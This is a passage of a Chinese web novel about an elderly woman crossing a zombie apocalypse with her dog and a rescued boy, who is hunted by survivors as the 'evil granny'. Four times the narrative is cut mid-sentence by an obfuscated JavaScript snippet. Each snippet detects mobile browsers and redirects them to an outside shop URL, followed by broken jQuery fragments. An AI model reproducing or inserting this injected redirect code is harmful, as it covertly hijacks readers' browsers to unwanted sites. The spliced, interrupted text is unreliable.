大黄趴在她的脚边,脑袋枕在爪子上,时不时抬起头,听一听外面的动静,确认安全后,才又趴下,陪着她。
王桂香看着漆黑的夜色,心里想着小宝,想着儿子儿媳,眼泪无声地滑落。她不知道自己走了多远,不知道离省城还有多远,不知道小宝现在是不是安全,不知道儿子儿媳有没有躲过危险。她只知道,她必须坚持下去,明天一早,就继续赶路,不管遇到什么困难,都要走到省城,找到她的孙子。
就在她昏昏欲睡,强撑着精神的时候,外面突然传来了一阵细碎的脚步声,不是邪祟那种僵硬的挪动声,而是人的脚步声,轻轻的,小心翼翼的,朝着修车铺的方向走来。
王桂香瞬间清醒过来,心脏猛地一紧,握紧柴刀,屏住呼吸,死死盯着门口。
是幸存者?还是其他的邪祟?
脚步声越来越近,停在了修车铺的门口,紧接着,传来了轻轻的敲门声,很轻,很谨慎,还有一个压低的、稚嫩的声音,带着哭腔,小声说道:“有人吗?求求你,开开门,让我进去躲躲,外面有怪物,我害怕……”
是小孩的声音!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509474|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王桂香的心一下子揪了起来,是个孩子,和小宝差不多大的孩子。
她犹豫了,外面太危险了,她不知道这是不是陷阱,万一邪祟模仿小孩的声音,引她开门怎么办?可那声音里的恐惧和无助,太真实了,像极了小宝受委屈时的哭声,她狠不下心,不管。
她慢慢走到门口,隔着铁皮门,压低声音问道:“你是谁?多大了?外面就你一个人吗?”
“我叫乐乐,今年十二岁,和爸爸妈妈走散了,就我一个人,外面有好多怪物,我跑了好久,才找到这里,求求你,让我进去吧,我不会添麻烦的,我很乖的……”小孩的声音带着哭腔,瑟瑟发抖,听得人心疼。
王桂香的心软了,不管是不是陷阱,这都是一个孩子,她不能见死不救。她慢慢移开顶住门的废旧轮胎,小心翼翼地打开一条门缝,往外看去。
门口站着一个小男孩,穿着蓝色的校服,身上沾满了泥土和灰尘,头发乱糟糟的,脸上满是泪痕,吓得浑身发抖,紧紧抱着自己的胳膊,看到门缝里的王桂香,眼睛里瞬间充满了希望,小声说道:“奶奶,求求你,让我进去吧……”
四周没有邪祟的踪迹,只有小男孩一个人,看起来确实是和家人走散的幸存者。
王桂香赶紧打开门,把小男孩拉了进来,然后迅速关上门,重新用废旧轮胎顶住,堵好窗户,这才松了口气。
“孩子,别怕,进来了就安全了。”王桂香拉着小男孩的手,他的手冰凉,浑身发抖,她心疼地摸了摸他的头,从帆布包里掏出仅有的一小块干粮,是之前舍不得吃的,递给小男孩,“快吃点东西,垫垫肚子,别怕,奶奶在这里,还有大黄,会保护你的。”
小男孩接过干粮,狼吞虎咽地吃了起来,边吃边哭,嘴里不停说着“谢谢奶奶”。
王桂香看着他,想起了小宝,心里一阵发酸,小宝现在是不是也这么害怕,是不是也在找她,是不是也饿肚子,有没有人照顾他。
她陪着小男孩坐在墙角,小声问着他的情况,小男孩说,他是跟着爸爸妈妈去省城走亲戚的,路上遇到了怪雨,车撞了,爸爸妈妈为了保护他,被怪物抓走了,他一个人跑了出来,躲了一整天,才找到这里。
王桂香听着,心里更加难受,末世之下,最可怜的就是孩子,家没了,亲人没了,小小年纪就要面对这样的恐惧。
她抱着小男孩,轻轻拍着他的背,安慰着他,大黄也凑过来,舔了舔小男孩的手,像是在安慰他。小男孩渐渐不再害怕,靠在王桂香怀里,慢慢睡着了,脸上还挂着泪痕。
王桂香抱着孩子,手里握着柴刀,一夜未眠,守着修车铺,守着这个陌生的孩子,也守着自己找孙子的念想。窗外的夜色越来越深,怪叫声不断,可她的心里,却多了一丝暖意,哪怕前路再难,她也要带着这份善意,走下去,找到小宝,也帮着这个孩子,找到活下去的希望。
5. 第 5 章
她不知道,这一夜,在远处的高楼废墟里,几个拿着望远镜的幸存者,正盯着国道上的动静,他们看到了她砍杀邪祟的场景,看到她救下小男孩,眼神里满是惊恐,悄悄拿起对讲机,压低声音,把看到的一切传递了出去:“发现高危目标,佝偻老太,携黄狗,徒手(持械)斩杀感染者,救下幼童,疑似拥有超强力量,极度危险,坐标国道K32段废弃修车铺,立即上报,标记为‘邪恶老奶’,提醒所有幸存者远离……”
而熟睡的王桂香,对此一无所知,她只是一个想着找孙子、不忍心看着孩子受苦的普通老太太,根本不知道,一个属于她的恐怖传说,已经在幸存者之间,悄悄蔓延开来。
天刚蒙蒙亮,第一缕微光透过修车铺堵着的木板缝隙照进来,落在王桂香的脸上,她才缓缓松开抱着小男孩乐乐的手,轻轻活动了一下僵硬的四肢。坐了一夜,浑身骨头都像是散了架,胳膊麻得抬不起来,双腿冰凉,可看着乐乐睡得安稳的小脸,她心里又觉得值当。
乐乐还在熟睡,眉头微微皱着,大概是梦里还在害怕,嘴里时不时嘟囔着“爸爸妈妈”,小手紧紧抓着王桂香的衣角,像是抓着最后一根救命稻草。王桂香轻轻帮他理了理凌乱的头发,又用衣角擦了擦他脸上的灰尘和泪痕,动作轻柔得不像话,像对待自己的孙子小宝一样。
大黄趴在脚边,也醒了,伸了个懒腰,轻轻晃了晃尾巴,没有发出一点声音,生怕吵醒熟睡的乐乐。它走到门口,鼻子贴着门缝,轻轻嗅着外面的气味,确认没有邪祟靠近后,才又走回来,趴在王桂香身边,安安静静地守着。
王桂香慢慢站起身,尽量不发出声音,走到修车铺的角落,找了一些干净的破布,又接了一点路边沟里的凉水,打湿破布,等着乐乐醒来,给他擦把脸。她又检查了一下门口和窗户,废旧轮胎依旧顶得严实,木板和破布也没松动,外面没有动静,暂时是安全的。
她从帆布包里翻了翻,只剩下几个干瘪的野果子,是昨天路上看到摘的,本来想自己应急吃的,现在全都留给乐乐。末世之下,粮食比什么都珍贵,她年纪大了,饿一顿两顿没关系,可孩子正在长身体,不能饿着。
大概过了半个多小时,乐乐终于醒了,睁开眼睛,看到王桂香,先是愣了一下,随即露出了笑容,小声喊了一句“奶奶”,没有了昨晚的恐惧,多了几分依赖。
“醒了啊乐乐,快,奶奶给你擦把脸。”王桂香笑着,拿起湿破布,轻轻给乐乐擦了擦脸,又把野果子递给他,“快吃吧,吃完了,咱就得赶路了,外面不安全,不能在这里久留。”
乐乐接过野果子,小口小口地吃着,边吃边点头:“谢谢奶奶,奶奶,你要去哪里啊?我能不能跟着你?我一个人害怕,我不想一个人待着。”
看着乐乐可怜巴巴的样子,王桂香心里一软,点了点头:“好,乐乐跟着奶奶,奶奶带着你,咱一起走,奶奶要去省城找孙子,乐乐要是想找爸爸妈妈,咱路上也留意着,看看能不能找到。”
“嗯!”乐乐用力点头,眼睛里重新燃起了希望,紧紧跟在王桂香身边,像个小尾巴。
王桂香把修车铺里简单收拾了一下,确认没有留下什么痕迹,避免引来邪祟或者其他人,然后重新背起帆布包,握紧柴刀,移开门口的废旧轮胎,轻轻打开门,探头看了看外面。
清晨的国道,依旧一片狼藉,静悄悄的,没有邪祟走动的迹象,阳光慢慢升起来,洒在路面上,驱散了些许夜色的阴森。大黄率先走出去,在四周探查了一圈,对着王桂香摇了摇尾巴,示意安全。
王桂香拉着乐乐的手,慢慢走出去,关紧修车铺的门,然后继续沿着国道,朝着省城的方向往前走。乐乐紧紧抓着她的手,一步不离,大黄走在最前面,警惕地探查着四周,一人一狗一孩,组成了一个小小的队伍,在荒凉的国道上,慢慢前行。
有了乐乐在身边,王桂香的脚步虽然更慢了,要照顾孩子的体力,可心里却多了一份牵挂,也多了一份动力。她时不时叮嘱乐乐,跟着她走,别乱跑,看到奇怪的人别说话,别靠近,遇到危险就躲在她身后,别怕。乐乐都乖乖听话,认真记着,时不时帮王桂香拿着柴刀的刀把,减轻她的负担。
走了约莫两个小时,太阳已经升得很高了,天气渐渐热了起来,乐乐走得满头大汗,气喘吁吁,脚步也慢了下来。王桂香看着孩子累得不行,便找了一处远离废弃车辆、相对干净的路边石头,让乐乐坐下休息,自己则去旁边的沟里,打了点凉水,给乐乐喝,又帮他擦了擦汗。
“奶奶,我不累,咱继续走吧。”乐乐懂事地说道,不想拖累王桂香。
“没事,歇会儿,不急,咱慢慢走,安全最重要。”王桂香笑着摸了摸他的头,从帆布包里掏出最后一点点干粮,分成两半,一半给乐乐,一半自己吃,大黄则在旁边,警惕地守着,看着四周的动静。
就在这时,大黄突然再次狂吠起来,眼神凶狠,对着不远处的一片灌木丛,毛发根根竖起,嘴里发出低沉的吼声,一副要扑上去的样子。
王桂香心里一紧,立马拉着乐乐躲到自己身后,握紧柴刀,盯着那片灌木丛,心脏狂跳。灌木丛长得很茂密,里面隐隐约约有动静,传来细碎的声响,不知道是邪祟,还是其他的什么东西。
乐乐吓得紧紧抱着王桂香的腿,浑身发抖,不敢出声。
王桂香屏住呼吸,慢慢朝着灌木丛靠近,柴刀举在身前,随时准备应对突发情况。离灌木丛还有一米远的时候,灌木丛里的动静越来越大,紧接着,两个身影从里面跌跌撞撞地跑了出来。
是两个成年人,一男一女,看起来三十多岁,穿着普通的便服,身上沾满了泥土和血迹,脸色苍白,神情慌张,看起来像是受了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509475|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤,女人的胳膊上有一道咬痕,已经红肿发炎,流着脓血,散发着恶臭,男人扶着女人,一瘸一拐的,看起来很虚弱。
不是邪祟,是幸存者。
王桂香松了口气,放下手里的柴刀,紧绷的身体也放松下来。这是她末世之后,除了乐乐,第一次遇到活着的成年人,心里难免有些激动,也有些警惕,不知道对方是好人还是坏人。
那对夫妻看到王桂香、乐乐和大黄,也愣了一下,眼神里满是警惕,往后退了几步,看着王桂香手里的柴刀,又看了看凶狠的大黄,脸上露出恐惧的神色。
“你们……你们是谁?有没有被感染?”男人率先开口,声音沙哑,带着警惕和恐惧,紧紧护着身边的女人,眼神死死盯着王桂香。
“俺是王家坳的,叫王桂香,带着孩子和狗,要去省城找孙子,俺们没被感染,都是好人。”王桂香如实说道,语气平和,尽量让自己看起来没有恶意,“你们咋了?是不是遇到邪祟了?”
听到王桂香的话,夫妻二人的警惕少了几分,男人叹了口气,脸上露出绝望的神色:“我们是附近镇上的,昨天怪雨之后,镇上就乱了,到处都是咬人怪物,我们跑了出来,路上我媳妇被怪物咬了一口,跑了一夜,实在走不动了,才躲在灌木丛里休息。”
女人疼得脸色惨白,嘴唇发紫,胳膊上的咬痕越来越严重,时不时发出痛苦的呻吟,看着王桂香,眼神里满是哀求:“大娘,求求你,有没有吃的?有没有水?我们一天没吃东西了,我疼得实在受不了了,求求你,帮帮我们吧。”
看着夫妻二人可怜的样子,尤其是女人胳膊上严重的伤口,乐乐吓得躲在王桂香身后,不敢看。王桂香心里一阵发酸,末世之下,人人自危,能遇到幸存者,不容易,她狠不下心不管。
她犹豫了一下,从帆布包里掏出最后一点点干粮,还有半壶凉水,是她省下来的,递给那对夫妻:“俺们也没多少吃的了,就剩这些了,你们先垫垫,水也给你们,伤口要是不处理,会更严重的。”
夫妻二人接过干粮和水,激动得眼泪都掉下来了,连连道谢,狼吞虎咽地吃了起来,女人喝了口水,又用凉水简单冲了冲伤口,疼得浑身发抖,却也不敢喊出声。
王桂香看着女人的伤口,心里很清楚,被那些邪祟咬了,就会变成和它们一样的怪物,之前村里的二狗子,就是被感染之后,才变成那样的。她想提醒他们,可看着夫妻二人绝望又期盼的眼神,话到嘴边,又咽了回去,她不忍心打击他们,只能在心里默默叹气。
“大娘,谢谢你,你真是个好人。”男人吃完干粮,喝了口水,力气恢复了一些,看着王桂香,感激地说道,“我们也想去省城,听说省城有幸存者基地,安全,我们能不能跟着你们一起走?人多也能互相照应,我们虽然受伤了,但也能帮着做点事,不会拖累你们的。”
6. 第 6 章
王桂香犹豫了,她带着乐乐和大黄,已经够艰难的了,再带上两个受伤的人,路上会更危险,而且女人已经被感染了,随时可能变成邪祟,到时候会连累乐乐和大黄。可看着夫妻二人哀求的眼神,她又狠不下心拒绝,末世之下,谁都想活下去,她不能见死不救。
“好,你们跟着俺一起走,但是咱得说好,路上一定要听俺的,别乱跑,要是有啥不对劲,一定要提前说。”王桂香最终还是答应了,她想着,能帮一把是一把,万一他们还有救呢。
夫妻二人连连点头,感激涕零,慢慢站起身,跟在王桂香身后,一起沿着国道往前走。男人扶着女人,走得很慢,王桂香也刻意放慢脚步,等着他们,乐乐依旧紧紧跟在王桂香身边,大黄则依旧走在最前面,警惕地探查路况,只是看向那对夫妻的眼神,多了几分警惕,时不时对着女人低吼几声。
一路上,王桂香时不时和夫妻二人聊天,了解外面的情况。男人叫张强,女人叫刘梅,夫妻俩在镇上开了个小超市,怪雨之后,超市里的东西被抢光了,怪物冲进超市,他们好不容易才跑出来,一路上看到太多惨状,到处都是死人,到处都是怪物,人心惶惶,有的人比怪物还要可怕,为了一点吃的,就会动手杀人。
王桂香听着,心里一阵发寒,她以为只有邪祟可怕,没想到,人心更可怕。之前在村里,都是乡里乡亲,就算有矛盾,也不会害人性命,可现在末世了,为了活下去,人什么事都做得出来。
她更加警惕了,不仅要防备邪祟,还要防备身边的人,手里的柴刀,时刻都不敢放松。
走了大概一个多小时,走到一处宽阔的路段,这里废弃车辆相对少一些,路面还算平整。就在这时,刘梅突然停下脚步,浑身开始发抖,脸色变得惨白,眼神渐渐变得浑浊,慢慢变成了灰白,嘴角开始流出黑渍,和那些邪祟一模一样,嘴里发出“嗬嗬”的怪声,胳膊上的伤口,黑血涌得更厉害了。
“小梅!小梅你咋了?你别吓我啊!”张强吓得脸色惨白,紧紧抱着刘梅,惊慌失措,眼泪掉了下来,“你别变成怪物,别离开我啊!”
王桂香心里一紧,立马拉着乐乐往后退,对着张强大喊:“快躲开!她被感染了,要变成邪祟了!”
可张强根本不听,依旧抱着刘梅,不肯撒手,嘴里不停喊着刘梅的名字。
刘梅彻底失去了理智,猛地推开张强,张开嘴,朝着离她最近的张强扑了过去,想要咬他,灰白的眼睛里满是凶光,腥臭的口气扑面而来。
“小梅,别!我是你老公啊!”张强不敢相信,伤心欲绝,却也不敢反抗,只能往后躲。
王桂香知道,不能再犹豫了,一旦张强被咬伤,也会变成邪祟,到时候乐乐和大黄都会有危险。她握紧柴刀,快步冲上去,用尽全身力气,朝着刘梅的脑袋砍去。
“噗嗤”一声,黑血喷溅,刘梅的动作瞬间停下,直直地倒在地上,不再动弹。
张强看着地上刘梅的尸体,伤心欲绝,瘫坐在地上,放声大哭,嘴里不停喊着刘梅的名字,悲痛欲绝。
王桂香看着他,心里也不好受,好好的夫妻,末世之下,阴阳相隔,太惨了。她走过去,想安慰他几句,可话到嘴边,却不知道该说什么,只能轻轻拍了拍他的肩膀。
就在这时,张强突然抬起头,眼神变得凶狠,不再有悲伤,反而充满了怨毒,死死盯着王桂香,猛地站起身,指着王桂香,大声嘶吼:“是你!都是你!你要是不救我们,小梅就不会死!你为什么要杀了她!你这个老妖婆,你心太狠了!”
王桂香愣住了,一脸不可置信,她明明是救了他,要是她不杀了刘梅,死的就是他,他怎么能恩将仇报?
“俺是为了你好,她已经变成邪祟了,不杀了她,她会咬你的,你也会变成怪物的!”王桂香解释道,心里又气又委屈。
“我不管!就是你杀了她!你这个恶毒的老妖婆,你不得好死!”张强根本不听解释,眼神疯狂,四处张望,看到路边有一根铁棍,猛地冲过去,捡起铁棍,朝着王桂香扑了过来,“我要杀了你,为小梅报仇!”
乐乐吓得大哭起来,大黄立马冲上去,对着张强狂吠,想要拦住他。
王桂香又气又怒,她好心救了他们,给他们吃的喝的,最后却落得这样的下场,真是好心没好报。她看着扑过来的张强,握紧柴刀,往后退了几步,大声说道:“你别不识好歹,俺是救你,你别执迷不悟!”
可张强已经彻底疯了,眼里只有仇恨,根本听不进去,挥舞着铁棍,朝着王桂香狠狠砸去,力道很大,带着风声。
王桂香年纪大了,躲闪不及,铁棍擦着她的胳膊划过,瞬间划出一道血口子,疼得她倒吸一口凉气,胳膊瞬间红肿起来,鲜血直流。
“奶奶!”乐乐大哭着,想要冲上去。
“乐乐别过来!”王桂香大喊一声,看着张强疯狂的样子,知道他已经没救了,为了乐乐和大黄的安全,她不能手软。
张强再次挥舞着铁棍,朝着她的脑袋砸来,这一次,王桂香不再犹豫,侧身躲开,同时举起柴刀,狠狠砍在张强的手腕上。
张强的手腕被砍断,铁棍掉在地上,黑血喷溅,他疼得惨叫一声,却依旧疯狂,想要用另一只手扑上来咬人。王桂香咬着牙,再次举起柴刀,砍向他的脑袋,结束了他的疯狂。
看着地上两具尸体,王桂香瘫坐在地上,胳膊上的伤口疼得厉害,鲜血染红了衣袖,她心里又委屈又愤怒,眼泪掉了下来。她一辈子与人为善,从没害过人,末世之后,更是不忍心看着任何人受苦,能帮就帮,可最后,却被人恩将仇报,差点丢了性命。
乐乐跑过来,抱着王桂香,哭着说:“奶奶,你没事吧,都怪他们,坏人!”
大黄也凑过来,舔了舔王桂香胳膊上的伤口,低声呜咽着。
王桂香摸了摸乐乐的头,强忍着疼痛和委屈,站起身,擦了擦眼泪:“奶奶没事,乐乐别怕,咱继续走,以后,咱再也不随便相信别人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509476|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
她知道,经过这件事,她不能再一味心软,末世之下,善良要有锋芒,不然只会害了自己和身边的人。她简单用破布包扎了一下胳膊上的伤口,虽然疼,但不影响走路,重新背起帆布包,握紧柴刀,带着乐乐和大黄,继续赶路。
她不知道,她砍杀张强和刘梅的场景,被不远处废弃高楼里的几个幸存者看得一清二楚。这几个幸存者是一个小队伍,一直在高楼里躲避,观察外界的动静,他们拿着望远镜,全程看到了王桂香救人、被恩将仇报、最后斩杀两人的过程。
在他们眼里,王桂香先是救下夫妻,又突然斩杀两人,手段凶狠,力气极大,一把柴刀砍断手腕、斩杀成人,根本不是普通老太太能做到的,加上之前斩杀邪祟的场景,他们更加确定,这个老太太不是普通人,拥有恐怖的力量,极度危险。
他们吓得浑身发抖,赶紧拿起对讲机,对着所有频道,疯狂传递消息,声音里满是惊恐:“紧急警告!紧急警告!国道K38段发现‘邪恶老奶’,佝偻老太,携黄狗、幼童,力量恐怖,持柴刀斩杀感染者和幸存者,手段残忍,极度危险!所有幸存者立即远离,切勿靠近,切勿与其接触,违者必死!重复,极度危险,‘邪恶老奶’出没!”
这条消息,通过对讲机,迅速传递到了附近所有的幸存者小队、幸存者据点,越来越多的人知道了“邪恶老奶”的存在,消息被不断夸大,从斩杀感染者、反击恶人,变成了无故斩杀幸存者、力大无穷、吃人肉,一个恐怖的传说,在末世的幸存者之间,彻底成型,越传越广,所有人都对这个“邪恶老奶”闻之色变,避之不及。
而王桂香,对此依旧一无所知。她胳膊上的伤口隐隐作痛,心里满是委屈,只想着赶紧走到省城,找到小宝,远离这些是非和危险。她不知道,自己的善意,自己的自保,竟然让她成了全幸存者口中的恐怖存在,被所有人通缉、忌惮、追杀,她的寻孙路,从这一刻起,变得更加艰难,不仅要面对邪祟,还要面对来自同类的恶意和追杀。
一路往前走,王桂香明显感觉到,路上的幸存者多了起来,可那些幸存者看到她,都像是看到了洪水猛兽,吓得赶紧躲起来,远远地看着她,眼神里满是恐惧和厌恶,对着她指指点点,悄悄议论着什么,一旦她看过去,就立马躲得无影无踪。
王桂香心里很纳闷,不知道这些人为什么怕她,躲着她,她想上前问问情况,问问省城还有多远,有没有幸存者基地,有没有人见过她的孙子小宝,可那些人都跑得飞快,根本不给她靠近的机会。
乐乐也发现了不对劲,小声说道:“奶奶,那些人好像都怕我们,为什么啊?”
王桂香摇了摇头,心里满是疑惑,却也想不明白,只能说道:“别怕,咱走咱的,不管他们,只要咱安安分分,不惹事,就没事。”
她不知道,那些人怕的,不是她,而是“邪恶老奶”的传说,他们以为,她是一个杀人不眨眼的恶魔,靠近她,就会丢了性命。
7. 第 7 章
天色渐渐暗了下来,王桂香带着乐乐和大黄,找了一处废弃的小轿车,车里还算干净,没有尸体,她把车门锁好,用座椅堵住车门,准备在这里过夜。乐乐累了一天,很快就睡着了,大黄守在车门边,警惕地看着外面。
王桂香坐在车里,胳膊上的伤口依旧疼得厉害,她看着窗外漆黑的夜色,听着外面偶尔传来的怪叫声和幸存者的低语声,心里想着小宝,想着儿子儿媳,眼泪无声地滑落。她不知道,明天等待她的,会是什么样的危险,不知道“邪恶老奶”的传说,会给她带来多大的麻烦,她只知道,她必须坚持下去,找到小宝,这是她唯一的念想。
而此时,在附近最大的一个幸存者据点里,几个负责人正拿着对讲机,听着关于“邪恶老奶”的汇报,脸色凝重,他们召集了据点里的青壮年,组成了猎杀小队,配备了武器,准备第二天一早就出发,前往国道,猎杀这个“极度危险”的“邪恶老奶”,保护据点里的幸存者,他们以为,除掉这个老太太,就能换来安全,却不知道,他们要猎杀的,只是一个只想找孙子的普通老人。
一夜无眠,王桂香守在废弃小轿车里,胳膊上的伤口疼得她辗转反侧,根本不敢合眼,既要防备外面的邪祟,又要防备那些躲在暗处、眼神诡异的幸存者,手里的柴刀始终紧紧攥着,一刻也不敢放松。乐乐睡得很沉,大概是白天太累了,小眉头依旧微微皱着,时不时嘟囔一句“奶奶别怕”,听得王桂香心里发酸,又满是暖意。
天刚泛起鱼肚白,外面就传来了动静,不是邪祟的怪叫声,而是整齐的脚步声,还有金属碰撞的声响,听起来人数不少,朝着王桂香所在的废弃车辆方向,慢慢逼近。
大黄瞬间警觉起来,猛地站起身,趴在车窗边,对着外面狂吠不止,声音洪亮,带着浓浓的警惕和敌意,毛发根根竖起,浑身紧绷,随时准备冲出去护主。
王桂香心里一紧,立马叫醒乐乐,捂住他的嘴,不让他发出声音,自己则慢慢挪到车窗边,透过破碎的车窗缝隙,小心翼翼地往外看去。
只见远处的国道上,走来了一群人,约莫十几个,个个身材健壮,穿着厚实的衣服,手里拿着铁棍、砍刀,还有几个人手里拿着自制的长矛,甚至还有两个人,手里拿着锈迹斑斑的猎枪,队伍整齐,步伐一致,眼神凶狠,四处张望,像是在寻找什么,一看就是有备而来。
他们身上带着幸存者据点的标识,衣服上缝着破布做成的徽章,神情严肃,警惕性极高,边走边低声交流着,目光扫过一辆辆废弃车辆,没有放过任何一个角落。
是幸存者队伍,而且看起来,是冲着她来的。
王桂香的心脏猛地一沉,浑身发凉,她不知道自己哪里得罪了这些人,她从没主动惹过事,没抢过别人的东西,没害过任何人,只是带着孩子和狗,安安静静地赶路,这些人为什么要来找她?
她想起了昨天那些躲着她、用恐惧眼神看她的幸存者,心里隐隐有了不好的预感,这些人,恐怕是来者不善。
“奶奶,他们是谁啊?是不是坏人?”乐乐被吓得浑身发抖,小声问道,紧紧抓着王桂香的衣服。
“乐乐别怕,躲在奶奶身后,不管发生什么,都别出声,别乱动。”王桂香压低声音,紧紧抱着乐乐,将他护在身后,手里的柴刀握得更紧了,指节因为用力而泛白,胳膊上的伤口因为紧张,疼得更加厉害。
外面的猎杀小队,已经慢慢靠近了这辆废弃小轿车,为首的是一个满脸横肉的壮汉,手里拿着一把砍刀,眼神凶狠,对着身后的队员摆了摆手,示意大家放慢脚步,悄悄包围这辆车。
“队长,就是这里,望远镜看到的,那个‘邪恶老奶’和小孩、黄狗,就在这辆车里!”一个年轻队员压低声音,对着壮汉说道,语气里满是恐惧,“消息里说,她力大无穷,斩杀感染者和幸存者,特别危险,咱千万要小心。”
被称作队长的壮汉点了点头,眼神阴鸷,盯着这辆小轿车,冷冷说道:“就是这个老妖婆,害的附近幸存者人心惶惶,都说她杀人不眨眼,今天咱就除掉她,为民除害,保护大家的安全!兄弟们,包围起来,别让她跑了,她一个老太太,就算有点力气,也敌不过咱这么多人,还有枪,怕什么!”
队员们纷纷点头,慢慢散开,将这辆废弃小轿车团团围住,手里的武器对准车门,气氛瞬间变得紧张起来,剑拔弩张。
王桂香在车里,听得清清楚楚,心里又惊又怒,浑身发抖。“邪恶老奶”?为民除害?她什么时候杀人不眨眼了?她只是斩杀邪祟,只是反击恩将仇报的恶人,怎么就成了人人得而诛之的老妖婆了?
她终于明白,昨天那些幸存者为什么怕她、躲着她,原来是有人造谣,说她是杀人恶魔,把她传成了恐怖的“邪恶老奶”,这些人,是来杀她的!
委屈、愤怒、不解,瞬间涌上心头,王桂香的眼泪在眼眶里打转,她一辈子本本分分,与人为善,末世之后,拼尽全力保护自己和孩子,只想去找孙子,却被人这样污蔑,被人围杀,这世道,太不公平了!
“车里的老妖婆,快出来投降!”为首的壮汉对着车里大喊,声音洪亮,震得车窗嗡嗡作响,“你这个杀人恶魔,残害幸存者,我们是据点的猎杀小队,今天就要除掉你,乖乖出来受死,还能给你个痛快,不然,我们就冲进去,连孩子一起杀!”
“我不是老妖婆!我没杀人!我是好人!”王桂香再也忍不住,对着外面大喊,声音沙哑,带着浓浓的委屈和愤怒,“俺只是一个找孙子的老太太,俺没害过人,是你们误会了,俺要去省城找孙子,你们别拦着俺!”
“误会?少在这里狡辩!所有幸存者都看到了,你手持凶器,斩杀无辜,手段残忍,还想骗我们?”壮汉根本不信,冷冷说道,“别废话,要么出来,要么我们就动手了,给你最后十秒钟!”
外面的猎杀小队,纷纷举起武器,子弹上膛,铁棍、砍刀对准车门,只等队长一声令下,就冲进去,斩杀王桂香。
乐乐吓得大哭起来,紧紧抱着王桂香:“奶奶,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509477|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕,我不想死……”
“乐乐不哭,奶奶保护你,没事的,没事的……”王桂香抱着乐乐,强忍着恐惧和委屈,心里清楚,这些人根本不听解释,一心要杀她,她不能坐以待毙,她死了没关系,乐乐和大黄都会死,她还要找小宝,她不能死!
她慢慢挪到车门边,心里想着,只要打开车门,带着乐乐和大黄冲出去,找机会躲进废弃车辆堆里,或许能逃过一劫。她深吸一口气,做好了冲出去的准备,大黄也做好了准备,随时护在她和乐乐身边。
“十、九、八……”外面的壮汉开始倒计时,声音冰冷,队员们的神情越来越紧张,手里的武器随时准备出击。
王桂香的心脏狂跳,浑身紧绷,就在倒计时数到“三”的时候,她猛地打开车门,抱着乐乐,想要冲出去。
可就在这时,为首的壮汉一声令下:“动手!杀了她!”
瞬间,子弹呼啸着朝着她射来,铁棍、砍刀也纷纷朝着她砸来、砍来,密密麻麻的攻击,朝着她和乐乐笼罩而来,根本躲无可躲。
王桂香吓得脸色惨白,抱着乐乐,根本来不及躲闪,看着朝着自己射来的子弹,看着砸过来的铁棍,她脑子里一片空白,只有一个念头:保护乐乐,不能让孩子受伤!
她下意识地将乐乐紧紧护在怀里,背对着攻击,同时,出于本能,挥舞起手里的柴刀,想要格挡那些攻击,保护自己和孩子。她年纪大了,根本没有任何格斗技巧,只是凭着一股护犊的本能,用尽全身力气,挥舞柴刀。
可就是这无意识的一挥,奇迹发生了。
只见柴刀挥舞的瞬间,一道刺目的白光,突然从柴刀上爆发出来,紧接着,一股难以言喻的强大震荡波,以王桂香为中心,猛地朝着四周炸开!
“轰——!”
一声巨响,震耳欲聋,整个国道都像是震动了一下,废弃车辆被震得哗哗作响,玻璃碎渣四处飞溅,地面上的杂物被震得漫天飞舞,尘土飞扬,遮天蔽日。
为首的壮汉手里的猎枪,瞬间被震飞,子弹打偏,射向了空中,他自己连同身边的几个队员,被震荡波狠狠掀飞,像断线的风筝一样,飞出去好几米远,重重摔在地上,瞬间昏死过去,手里的武器也掉落在一旁。
其他的队员,更是不堪一击,被震荡波扫中,一个个像是被无形的巨手狠狠掼在地上、车上,根本没有反抗之力,纷纷惨叫一声,昏死过去,手里的铁棍、砍刀、长矛,全都被震得粉碎,散落一地。
那两个拿着猎枪的队员,连开枪的机会都没有,就被震荡波震得晕了过去,猎枪变形,掉在地上,彻底报废。
